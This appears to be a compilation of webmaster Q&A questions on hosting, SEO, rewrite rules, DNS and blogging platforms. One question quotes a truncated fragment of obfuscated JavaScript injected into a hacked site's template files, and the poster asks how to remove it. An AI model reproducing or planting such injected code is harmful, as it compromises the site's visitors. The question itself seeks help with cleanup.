Currently I have 4 cPanel accounts running on my VPS. I need to check the memory (RAM) usage for each account on the VPS to identify which of them is using high resources in order to ban. I opened the "Daily Process Log" in WHM but it is not showing the username or which accounts exactly uses resources. WHM displayes the following under the "User" column: root, nobody, mysql, dovenull, dovecot, mailnull, mailman, sshd, named, DELAYED, leechprotect, eximstats

Changing www.sitename.com/administrator

How to change `www.sitename.com/administrator` to `www.sitename.com/administratorSr5£d?€-^@L` (or anything similar) in order to make it very very hard for any spiteful person or hacker to reach the backend even if, somehow, he was able to identify the username and password?


Keyword density importance for keyphrase vs keyword

If i need to optimize page for the keyphrase which consists of 4 words e.g. _"keyword density best practice"_. What if the the keyword density of the phrase _"keyword density"_ is over optimized(e.g.40%). Would keyword stuffing for _"keyword density"_ phrase be considered while ranking page for the query _"keyword density best practice"_?


Google+1 button strategy - Combined +1s or separate +1s?

I have included the Google+1 button on my blog. Each post outputs a +1 button on the bottom. Depending if you are viewing the actual post or just the main page the +1 button will "+1" either the post address or blog website address. This made me think for a bit if the +1 button should be configured to +1 the blog section (www.example.org/blog), +1 the main website address (www.example.org), or +1 individual posts?


Online dead link alert service

I'm looking for an online service that will periodically (daily) check for broken links on my site (~100 pages). I see lots of tools that you can download and run, and indeed have used such tools in the past. But this seems like an obvious task for an online service: sign up, tell it my URL, then it would only email me if there are more broken links today than there were yesterday. My organisation's web site is not our major focus, and it's only a small part of my job. Hence the need to completely automate tasks where possible.


Setting up a subdomain for an already existing subfolder

> **Possible Duplicate:**   >  Subfolder won't permenantly redirect to subdomain I have a forum installed in a subdirectory (http://www.example.com/forums/), but I want to have it accessed through forums.example.com and all traffic from the subdirectory passed to the subdomain. From what I can read online this is a little bit harder since the subdirectory and subdomain would be the same name. I'm on a shared server so I can't setup the subdomain outside the root folder and ideally I want to still have it setup so other scripts I use outside of the forums can access the /forums/ subfolder (i.e. DOCUMENT_ROOT using PHP). I'm not well versed at all in this so any help would be appreciated.


What is this chargeback scam from eBooks bought on my website?

We have a scammer that is buying our e-Books and then performing chargebacks. Our e-Books don't have DRM, so if they wanted to resell them, they would only need to buy each book once. But instead, they keep buying the same books over and over again and then performing hundreds of chargebacks. We have created some additional rules in our fraud protection tools to block certain aspects, even though all the info looks legit, and are hopeful this will slow them down. But my question is: What is the scam? If they aren't getting any product and they only get chargebacks for something they already purchased, then they can't get additional money from the credit card company, so then what's their motivation?


Web designer's link back to own website (rel="designer" / rel="nofollow")

I read somewhere that web designers' habit of placing a default "follow" link in the footer of their client websites is bad for SEO. Is this true? If so, should we use `rel="nofollow"` instead. I have seen `rel="designer"` in some free WordPress themes.


Recommended Site Redundancy Options

I am developing a site for a client who is emphasizing "no downtime allowed". Now even cloud hosting doesn't provide a 100% up-time promise, so I've been thinking about mirrored hosting, where if one host goes down, the other takes over. I am unsure how I'd go about setting the DNS to switch on an outage and this is running low budget, as it's a non-profit organization. If anyone has experience doing this, I'd like to know the best way to go about it. The site is LAMP. I did think about adding disallow in the robots.txt for the duplicate site to avoid SEO penalties, but other than that am running blind, so any advice would be gladly received.


Applying a CSS style to drop-down list

I have a PHP function to display all my custom taxonomies in a drop-down list, but I don't like the drop down menu style. I want to change the look of it. How can I customize its look?


How to style a div on the home page like a blog post

I have a theme. Because I don't have a static home page, a list of my latest posts is my home page. I want to add a drop-down box which I have coded on my starting home page which should remain static (just for home section). For this, I tried to code it in `index.php`, but the problem is the box is outside that. It is not coming up. I mean that the post is wrapped in a box content, the same as I want for my drop-down menu. See this image, with HELLO text: ![](http://i55.tinypic.com/bgvkgx.jpg) Normally it is coming in simple line, but I want it to be wrapped in a box, like the posts. I know that I just need to put a small `div` and `p` tag. I tried, but maybe my position is wrong, can anyone help me here


PHP framework to use on GoDaddy host with no shell access

I'm a Ruby-on-Rails developer but am trying to develop a site to run on a GoDaddy Economy hosting account. This means I don't have Ruby and Rails available so I've decided to go with PHP 5 since the economy hosting _does_ provide that. So to ease development I want a PHP framework (ideally Rails- like like, say, Akelos) that I can install and configure on my GoDaddy site _without having shell access to the hosting server_. Does anybody have any recommendations or experience with similar?


Meta Keywords Optimization Best Way to Proceed?

I am on a wallpapers blog project... When i generate leech pages I put in the tags about that image in meta information... But i also need to tell that these are wallpapers... So what is the best way to do it... like for an iron man wallpaper i would do this               <meta name="keywords" content="iron , man , tony , stark" />      _**Should I be adding wallpapers to the keywords?..._**


Should a domain be accessible via IP as well?

I have a domain which is accessible through the domain name of course. However, it seats on a unique IP, as it is hosted on a VPS. But I can't access it through that unique IP (I'm getting into a default page of my webhost). I noticed that some other websites, are accessible through their IP as well (which I find out by whois). So, is it a good thing that I'm missing? maybe it can be good for SEO? my host says that If they somehow configure the IP to the content of the domain, it could mess some configurations up... not very savvy in that field.


Web Server Directory / URL question

Ok..So I know this is an easy question, but I just don't know. Given the URL:               http://mail.google.com/      What is mail? Is that a directory or what? I have a domain, and I want to put a webpage on an address like this..how would I go about doing that? I would like to have:               http://mypage.mydomain.com/


Incorrect Meta information in Google

Google shows up incorrect meta info (title & description) in search engine results for an add domain and the information is of the domain which is the primary domain of the hosting account. I mentioned this fact because add-on domains are in a sub-directory of the primary domain. Any ideas what could be the reason?


Leveraging a facebook app for SEO

I am contemplating writing a facebook app for my website. I want to know how I can use the app to aid with Google ranking. More specifically, are there things I can do (an obvious one being placing links back to my website etc) to increase visibility of my site? Also, will the links from my fb app to my website be "nofollow"? (I suspect the amnswer is yes), in that case (if links back to my site are "nofollow"), will I benefit much (from an SEO POV) by implemnting the app?


Hide query parameters in RewriteRule

I have the following rule:               RewriteRule ^farm-products/([A-Za-z0-9-]+)/([0-9]+)/([A-Za-z0-9-]+)/([0-9]+)/([0-9]+)/?$ products.php?$1&page=$2&what=$3&t=$4&cat=$5      The user sees:               http://www.example.com/farm-products/agencies/56/b/88/32458      Is it possible to hide from the URL the query parameters? I want to show only:               http://www.example.com/farm-products/agencies/


Why does my URL appear with #sthash.RXOAdGce.dpbs after it?

I have set up a subdomain which for some reason attaches #sthash.RXOAdGce.dpbs to the end of the URL making it look like this: `<http://info.example.com/#sthash.gmiCS9nc.dpbs>`. I am wondering why this happens and how I can get rid of it. As a bit of background info on things, the subdomain was set in cPanel on 1 server and an 'A' record set on a different server to redirect to the subdomain when the original site is eventually disabled.


Should notification messages be embedded in html or separate using jQuery?

I was originally thinking I could make a notification bar using jQuery. The downside is if someone has javascript disabled, they would never see the message. The upside is that the messages wouldn't be crawled, which could potentially lead to misleading or outdated information when the messages are removed. Are there other benefits or disadvantages of embedding the notification messages in html vs using a pure jQuery approach? I realize that only ~1% of users actually have javascript disabled, but I'd like to consider as many users as possible. Just curious what others might have done.


Is the debate about em VS px VS % in typography still valid

I have been reading a few articles about why em's are better than px in typography. And the base has to be in %, best is even to have `body{ font- size:62.5%; }`. One of the better articles I could find is located here: http://kyleschaeffer.com/best-practices/css-font-size-em-vs-px-vs-pt-vs/ Basically it is says that px does not scale well on websites and devices. I have always done typography in px, and have never found any issues. I have also been working with some CSS framework and some wordpress themes, and I always see that just the normal px is used. Now I see that most of the articles are written em's are mostly from some years ago, around, I wanted to know if it is still true that px doesn't scale well, or is this not a point anymore for the modern browsers and devices. * * * On a side-note. I have even read and seen on some sites that people even go so far to do all of their styling in em's. For example the padding and the margins are done in em's. Is this necessary if you want to have a good scaling website.


Visitors are coming on the site but are not submitting questions for my Q&A site

Here is my site http://starsQA.com, it's purpose is that it is has stars(actors, actresses, singers, authors) and that the fans(people who like the stars) send in questions for their fav star and they get make into interviews. Currently it has 86 stars involved in the project but it is lacking questions from fans, it is getting hits(visitors) they just aren't submitting questions. Any ideas on how to get people submitting questions??? Note: I live in New Zealand and most of the stars are in the USA (so my only contact with them is via emails) and the fans(visitors) come from all around the world, I connect with them mainly through twitter. So it would need to be a free way.


Can I get google to ban a spamming site from Adsense ?

I've noticed a "site" that stole some of my content and they are displaying google ads. Not responding to my email. I'm quite certain that most of their content is stolen, either from other sites or from newsgroups. Whom should I contact at google so that they would hopefully deprive that site of their only source of income?


Economical DNS hosting separate from local registrar for country specific TLDs - email or web hosting not required

Our company owns many country specific top level domains (TLDs; .sg, .my). We will purchase more for other countries in all South East Asia. These domains are associated with our websites hosted on Amazon EC2. The DNS records are currently hosted on a dedicated server that will shut down tomorrow. (The name servers are set to the ones of a web hosting company) Therefore, I will need to host the DNS records somewhere else. Hosting the DNS records with the local registrar costs SGD18 a year per domain in addition to the domain price (which is already very expensive but we have no choice). It would be convenience to host DNS recors for all the country specific TLDs we have using a single service, separate from the local registrars from which we bought the domains. A few searches prompted examples like Amazon Route 53 and dnsmadeeasy.com and the likes. However, since I'm only concern about the country specific TLDs, not .com 1) Is it really economical to host DNS records of all domains in 1 single place as described above?   (Have the relevant countries and/or the local registrars done something to keep their monopoly and always charges ridiculous prices for their country specific TLDs?) 2) I would imagine I will need to tell the local registrars to update the name servers to those of the DNS hosting service provider e.g. dnsmadeeasy.com here.   Am I correct about how it works here? 3) Will I be able point the TLDs themselves to IP addresses I desire (the EC2 instances where my websites are) or will I only able to do so with the subdomains? 4) Are there any drawbacks that I should know here?   Background about our needs:   * We need the websites associated with the country TLDs to be up and running all the times   * Also, we'll need to be able to add/edit A and CNAME records    * We use Google Apps for Business for internal email so I will need to be able to add/edit MX records and TXT records


Website or service to view a page without Javascript

Is there any website or service that allows you to submit a URL and displays the corresponding page with Javascript stripped out/disabled?


What is the impact of a CMS on page load time versus a static site?

I am creating a 20-page site that will go on shared hosting. Each page will be about 20 KB (including HTML, CSS, and images common to all pages). To avoid manually adding navigation elements to each page, I am considering using a CMS. However, I am concerned that on a busy server, using a CMS would make the site load more slowly. In a shared hosting environment where PHP is run as a CGI binary, how much does a CMS (WordPress, Drupal, etc.) generally affect page load time, compared to both "plain HTML" static sites and those using PHP as merely a templating language?


How to avoid duplicate content in WordPress eCommerce Store

I run a WordPress eCommerce store powered by WooCommerce. I have a large inventory of products and most of the product descriptions are the same for all products and it's mandatory to include it. It's creating a large amount of duplicate content on the site. Each category has 6 products. I thought two solutions, can you suggest which one is the best?   1. no index and follow product page and link it to categories page using canonical tag   2. index and nofollow product page and link it to categories page using canonical tag Which is the best solution and is it a good practice to use canonical tag to link to categories page?


Too many outgoing links due to user generated content - is this bad for SEO?

I have a website that contain all user generated content. The users are free to add links to the content. I also provide my users with an about the author column, where they can add links too. All the links in my site are `dofollow`, as of now. Is this an SEO threat? There is a strong editor system and people are not allowed to spam, but there are more and more articles and about the author columns coming up with outgoing links. Nofollowing all external links is an SEO threat, as some users say.


best way of getting the dimension of a selection in photoshop

When converting **psd** to **(x)html** , there's this time that you want to get the height/width of a particular selection. For example, you have an item which is to be converted as `<div>` in coding. Then the `<div>` requires a fixed width/height. How would you get it from the **psd**? My way is to crop the **psd** , then press `ctrl`+`alt`+`i` to get image size window. Is there a better way than this? Cause sometimes, cropping takes time depending on the **psd** file. I wanna hear it from the pro webmasters. Thanks.

Ways for a beginner to network out and find customers for web development

I am new to web development. I have done a lot of studying on my own and created some projects on my own. I have reached the point where I feel that my skill will not progress much without more practice experience. I know that it is one thing to build a project to my specks and it is quite another to meet someone else's requirements. I have been working in ASP.NET and have learned quite a bit of HTML, CSS JavaScript. In my day job a work regularly with SQL and SQL Server. If you have any suggestion it would be much appreciated.


netblock ip - own hosting - home servers

I host 2 websites that generate a pretty substantial traffic (about 6000 unique visitors a day both). I have business Internet at home and I own one static IP from my ISP. I run my own servers. However, I want to know why some other websites when I run a search on:               http://whoishostingthis.com/      OR               http://infosniper.net/      display the provider or hosted company as themselves, even though they are not crazy big sites, but my site is displayed as being hosted by my ISP. Is there a way to change this?


Strange Javascript code in my html pages

I've been warned up today by my friend who owns a website I made for him. I've just found that many files from the template directory have been modified today and in every of them, I can find this strange JavaScript code :               <!--0c0896--><script type="text/javascript" language="javascript" bv=(5-3-1);aq="0"+"x";sp="spli"+"t";ff=String.fromCharCode;w=window;z="dy";try{document["\x62o"+z]++}catch(d21vd12v){vzs=false;v=123;try{document;}catch(wb){vzs=2;}if(!vzs)e=w["</script><!--/0c0896-->      It looks like a virus... Any idea about how to remove it ?

Why is Google Webmaster Tools crawling invalid URLS and showing 500 errors?

Google Webmaster tools is reporting 12k+ 500 errors. Eeek! None of the URLS are valid- they all contain www.youtube.com. First, why is Google crawling these URLS if they don't exist? I supplied a sitemap, and they are of course not in the sitemap. I don't have a robots.txt blocking anything. I've checked for invalid redirects--none, and checked for unclosed tags or something that would throw www.youtube.com into the URL by accident--none. In every 'linked from', the referring URL is also a bad URL, with www.youtube.com in it. The Google Tools report no malware, and I can't check the server logs because the host won't give me access. Really stuck!! Any ideas appreciated!


Should I set up standard email accounts? What are they?

A long time ago one used to be able to count on domains having addresses like `webmaster@example.com`, `postmaster@example.com`, or `abuse@example.com` ... is this convention dead? Note: I always try to make sure to make a contact available on the websites I put up, so people can contact us if necessary. But are there reasons to handle these or other "standard" email addresses I might not be thinking of? I set up less email addresses than I used to since spam got so awful, and a "predictable" email address just seems to be an invitation to the lousy spammers.


What kind of ad format best for site header?

I have room in the header of my website for ads. I've tried 480x60 banner ads and text ads from several networks, relevant to the subject matter of the website and every type of ad has performed very poorly. Skyscraper ads in the left nav perform much better. Are there best practices or research that deals with the best type of ad to place in the header of a website? Or, is there a common ratio that relates performance of banner ads vs. skyscraper ads?


Linking a facebook app's page to an existing facebook business page

I have a facebook app page, and a separate facebook business profile page. The business page was created, but not by me, some time before the app and its page were created. **Is there any way to connect the two pages, or import the content and friends from one to the other**? The older profile page has some content; a set of friends and wall posts that I don't want to lose. It was created before I had a chance to set up an app page. Since the app was created more recently, it does not have any content posted to it. I intended the app page to eventually hold some advertising info for my main website itself (non-canvas, just using fb for the connect api etc). The idea being that as people sign up on my site through facebook's OAuth, I could use the graph api to post to their wall. The wall posts are working as expected but naturally they are directing users to the facebook app page, which has no content, friends etc. I'd prefer to be directed to the original business page, where the party is really happening. Now it seems that the two pages are completely separate; what would I need to do to direct the users to the business page?

How to add an exception to this rewrite rule

I need to change this so that one file in wp-admin is not forced through https:               # add a trailing slash to /wp-admin     RewriteCond %{REQUEST_URI} ^.*/wp-admin$     RewriteRule ^(.+)$ https://%{SERVER_NAME}/$1/ [R=301,L]      This forces all requests to /wp-admin through SSL but it is breaking a wordpress plugin which needs to access wp-admin/admin-ajax.php. Is there a way to adjust the rule so that it will allow non encrypted requests to that one file? thanks!


Pros/Cons of Interlinked Landing Pages

Today on Google's Official Webmaster blog they posted about running multiple sites with similar content, here. After reading it and looking at the comments I noticed two things. First Google doesn't seem to respond to the great questions people have. Secondly, this question from Autocrat struck a cord with me: > --- Interlinking mutually owned sites --- > > Some people run multiple sites for the same niche, or for highly > similar/related niches/terms. They then link between them, bolstering their > apparent popularity as well as attempting to increase their relevancy for > specific terms via link text. Where I work they believe there is value in buying many domain names related to its products. They post unique content on each related domain except they reuse .pdf documents. They also include links to our main website and other landing sites. They use Adword campaigns specific to each domain to bring paid traffic to the site with the hopes of driving customers to the main site. They have done this for years and it takes a ton of time to keep these sites up. Also, it is tough to measure if we get value from them. My questions are:   * Is there really any benefits of having these external landing pages to the site? .   * Would it be more valuable to move the landing page content to inside of the site?    * Finally, is there any way to truly measure the value these sites are adding through increased Page Rank on our main site?


Google indexing pages with #! although we don't have any

Our company has developed a Single Page Application using AngularJS and its routing. Google indexed our site decently with JavaScript but it did not index some pages very well so we have developed an HTML only version. We have followed the Ajax Crawling Specification posted here and have a `<meta name='fragment' content='!'>` tag and canonical urls. We expect `http://www.example.com/foo/bar` to be fetched from `http://www.example.com/?_escaped_fragment_=/foo/bar`. However, we have found out that when we rolled the AJAX specification we now have all pages indexed twice, once with the JavaScript version as `http://www.example.com/foo/bar` and once with the new version as `http://www.example.com/#!/foo/bar`. This is harmful to us since it's duplicate content and also mis-representing out site. I have tried looking for similar questions here and in the Google product forum but could not come up with anything.


My colleague can't visit our website through her provider after long downtime

We did a frontpage update some days ago that caused the site to crash. The site was down for several hours. After troubleshooting, we concluded that we needed to cache more content. It had been run too many queries. After solving that and rebooting of server, we here in Sweden and Norway were again able to visit the site. But a colleague in Tunisia couldn't. It seems to work from another internet provider but not her own. What could have happened? And what should we do? **Edit:** I should add: She is able to visit the site through tunnel at anonymouse.org.


Website stopped appearing on Google results

I have a website with a Page Rank 3. Yesterday it was listed in Google as the second link (under a specific Hebrew keyword). 12 hours later I checked it with my Google Monitor tool and it seems my website doesn't appear in Google search results anymore.


How do I tell blogger which image is the thumbnail to use in data:post.thumbnailUrl?

I recently started with blogger. I was tweaking the homepage a bit to display thumbnail and post excerpts with read more link. A lot of websites say to use this kind of code:                 <b:if cond='data:blog.pageType != "index"'>           <b:if cond='data:post.snippet'>           <b:if cond='data:post.thumbnailUrl'>               <div class='Image thumb'>                 <img expr:src='data:post.thumbnailUrl'/>               </div>           </b:if>             <data:post.snippet/>           <b:else/>             <data:post.body/>           </b:if>       <b:else/>       <data:post.body/>       </b:if>      But can we tell blogger what's in `data:post.thumbnailUrl`? For some people, blogger will just pick an image magically from their post. How can I decide which thumbnail will be used?


What is the name of the widget which slides in at the bottom of the page and recommends more articles for reading?

I see this on more and more pages. I can't show an example right know, but the widget is a small box sliding in at the right bottom of the page and it usually says "Did you read this?" or something like that and shows an article title.

Search engine bots accessing strange URLs

We have ELMAH enabled on our site and get errors whenever a _Page Not Found_ error is triggered on the website. We have recently redesigned a new website and so we understand that search engine robots might have previously indexed pages which they try to access and result in a _Page Not Found_ errors. For this reason, we have set up permanent redirects for such previously indexed pages to the respective new pages. The website in mention is `www.chambercollege.com` and for example, a previously indexed URL was `www.chambercollege.com/special-offers.aspx`. This page is no longer accessible so we have created the necessary permanent redirect to redirect to the respective page on `www.chambercollege.com/en/content/special-offers-161/`. Now we are starting to receive _Page Not Found_ errors of search engine bots (e.g. MSN bot) trying to access the URL `www.chambercollege.com/special- offers.aspx/images/shadow_right.jpg/`. Any idea how could a search engine make up that strange URL and whether you have any suggestions of what to do best?

Apache webserver user setup and security issues

I have a server running Centos 5.6/PHP/MySQL etc that will only host one website all the time. **New question** Is there any security implication on leaving a single website hosted in the default location of /var/www/html/ versus the common location of /home/user/? **Original question** Does it make any sense* to have Apache webserver host the account in the home folder (/home/user) instead of the default location of /var/www/html? *Sense mean performance benefit, security reasons, etc. Thank you.


How can I force a certain URL for Google to use in search results?

Each page on my site can be accessed by a shortened URL and normal "long" URLs. The shortened URL redirects to the long URL and the long URL includes an optional title that's not parsed (much like on this site, where `http://webmasters.SE/questions/7/accepting-money`... is equivalent to `http://webmasters.SE/questions/7`). When pages show up in Google search results, there is a mixture of three kinds of URL.   * `http://site.com/Ab1C.html`   * `http://site.com/content/123/full_name`   * `http://site.com/content/123` Is there a way to encourage Google to use a specific format in the results?


Server 10Mbit bandwidth with a potential 100Mbit outburst

I'm planning to deploy 3 private servers on a web farm. I've got a quote for a hosting package from my ISP, yet it says the server will have 10Mbit bandwidth with a potential 100bitB burst. What does it mean? I need to serve flash games, each game about ~ 1MB, to 30K unique users a month. Will it suffice?


Google Analytics > Engagement > Duration - Make Custom Times

I need to find the following metrics. How many users stayed for 2 seconds, how many stayed for 5 seconds, how many stayed for 10 seconds. On Google Analytics they have something very similar but it generalizes everything from 0-10 seconds. Is it possible to make my own durations like 0-2, 2-5, and 5-10? ![enter image description here](http://i.stack.imgur.com/qAwmx.png)


Multiple keywords sites for local SEO

I found the answer to this question from a few years ago, but a lot has changed with Google since then. Would a technique with the one described here still work? Given that the small sites are more than just a page and the sites have unique content? I am a web developer and have a client who wants to hire me to do this, but I'm not sure its going to help or hurt him.


1024 bit to 2048 bit certificate differences in how we access our portal

Why now that we have gone from 1024 to 2048 do we need to put the www in front of our portal site when we never used to.


Removed pages from website - do I need to tell Google or will they fall off in time anyway?

This is a follow up question from here: Duplicate title tags due to translations Since asking the question I have removed the duplicated content that was being generated by language/translations on the website in question. In the answer I was told that I should return 410 errors for the removed duplicate pages, use _robots.txt_ to disallow crawling of duplicate pages, and to use the Fetch as Google feature to re-trigger crawling. My question is now that I've actually removed the pages (I've removed all of the translation options), will this self-correct when Google next crawls the site and notices that the links are gone? Do I still need to do the things recommended, given that the duplicated content is now gone?


Adding alt tag to image sharing code for advertising

Does using onclick on div's effect SEO?

I have a few elements on my page that uses onclick as the link, e.g:               <div class="service" onclick="location.href='<?php echo $fields->service_1_link; ?>'" style="cursor:pointer;">        <img class="service" src="<?php echo $fields->service_1_image; ?>" alt="<?php echo $fields->service_1_name; ?>" height="111" width="299" border="0" />

<?php echo $fields->service_1_name; ?>

      Does this have an impact on crawlers and SEO over say a normal link?


Hide new Blogger posts from appearing on homepage and make them visible only under a specific label?

I am using Blogger. I want to write some posts under a label, say "Puzzles". I don't want the posts to appear on home page of my blog (as they show up normally). I just want them to appear when some visitor clicks on the label "Puzzles," otherwise not. How can I do this without back-dating content?

How to set the icon and channels for IE9's “Pinned Sites”

IE9 beta appeared today, and one of the most prominent features is Pinned Sites: drag an url/favorite/whatever to the taskbar, and you create a “Pinned Site”, which follows some custom rules (favicon presented in application chrome, back/fwd button turn the color of the favicon!). What is interesting is that:   1) Some sites are pinned to the taskbar not with their favicon, but rather with a bigger icon, à la iOS home screen favorite. How can I set this? 2) Developers can set “channels” or “jump lists” for even quicker access that are presented when (right-?)clicking the icon. How do I do this?


Is there a media player that works on HTTPS sites?

I'm currently using Yahoo! Media Player for a site that needs to play MP3 files that are stored on our server. In total, there's quite a bit more than the free limits at Soundcloud, but each file is only a few minutes long. YMP is pretty good, but causes security warnings on HTTPS pages, because it can only be served via HTTP. Is there an equivalent free player I can embed for the HTTPS pages? **EDIT:** Just to clarify, I'm initially looking for something that will scan the page and turn media links playable.
